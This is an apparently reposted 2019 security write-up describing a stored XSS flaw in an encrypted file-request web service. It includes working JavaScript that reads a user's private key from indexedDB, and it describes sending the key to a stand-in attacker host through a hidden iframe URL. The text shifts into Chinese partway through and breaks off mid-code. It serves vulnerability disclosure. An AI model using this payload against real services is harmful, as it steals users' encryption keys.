Obtain target user's local private key information through stored XSS vulnerability

王林
Release: 2019-12-04 17:40:28
forward
2512 people have browsed it

Obtain target user's local private key information through stored XSS vulnerability

Background

Not long ago, an article published on a Dutch technology website showed a new release An online service, which claims to use this service to realize end-to-end file request transmission by users through the Web.

As before, because I am very interested in this secure encryption implementation, I had the urge to test it when I saw this article. The article claims that this kind of file request through the web is safe. Is this true? The encryption service website only introduces several local end-to-end encryption methods using RSA and AES private keys. It does not introduce its specific encryption implementation in depth. Moreover, its application is not open source, so it is difficult to audit or review the code. The white paper explains how to get started.

Although the encryption service website claims that the service they provide is absolutely safe and reliable, I feel that everyone can make mistakes, so I decided to test it in depth.

Found a stored XSS vulnerability in the name

After registering the account, I started testing, and after a while I found that in the account name and company name fields There is a stored XSS vulnerability. The encryption service allows users to create a file request that generates a link that can be emailed to other service users. After the recipient user receives the link email, he will see a page when he opens the email, where he can perform file upload operations. The file request created by the user contains the public key information used by the user to encrypt the file on the client.

The problem here is that in the link page generated by this file request, the user name or company name field is not filtered, and XSS Payload can be triggered. If XSS Payload-, after sending the corresponding file request link to other users, XSS will be executed when the link is opened, as follows:

Obtain target users local private key information through stored XSS vulnerability

##In other words, we can execute arbitrary code in the target user's system and do some bad things, but how to use it in depth?

Get the target user's local private key information

This encryption service uses client-side asymmetric encryption to protect user files. Since the encryption service is deployed through the website, its encryption mechanism should be called through JavaScript, that is, it can be implemented through JavaScript to obtain local private key information. After analysis, it was found that the encryption service stores the private key information generated by the user in the local indexedDB database and cannot be sent over the network.

The user's private key is important information to protect the user's encrypted files. Only with the private key can the files encrypted with its paired key be decrypted. The private key must be well protected and cannot be shared with other people.

As you may have guessed, we can obtain the user's private key by changing the Payload in the name field where the stored XSS vulnerability exists. I wrote the code to obtain local storage information, and screened and tested it layer by layer. Finally, I came up with the following code to obtain the local user's private key:

var dbReq = indexedDB.open("companyname");
dbReq.onsuccess = () => {
    var store = dbReq.result.transaction(["keys"]).objectStore("keys").get("52_private_key");
    store.onsuccess = () => alert(store.result.pem);
};
Copy after login

Embed this code into the name field, then generate a file request link and open it This link will bounce back and display the user's private key information:

Obtain target users local private key information through stored XSS vulnerability

#Collect the victim's private key information from the attacker's side

This way It's not a good way to pop up the user's private key information. We have to send it to a remote server we control, right? To this end, I tried to use POST to send the private key information to the remote server I control. I encountered the first problem. The above-mentioned name area with XSS vulnerability only allows a maximum of 255 characters to be entered, but the JavaScript request is very lengthy, so the code needs to be simplified as much as possible.

But soon, I discovered that jQuery exists in service applications, which allows making very simple and short Ajax requests, which is great. But in the end, I failed because of CORS restrictions.

Some people may say that it is because my remote server is not configured correctly, but I did set Access-Control-Allow-Origin to *, but it still doesn't work, so I can only estimate that it is the server-side CORS header. Configuration restrictions.

但对于非Ajax请求来说,我发现在GET请求中,如果把数据放到URL后就是一种很好的传输方式,为此我选择了iframes方式的链接嵌入。把数据放到URL之后,如//example.com/?k=DATA,然后在请求生成的链接页面中隐蔽添加了一个iframes。受害者浏览器会加载该iframes框架,把数据回传给我,如:

$('body').append(
    '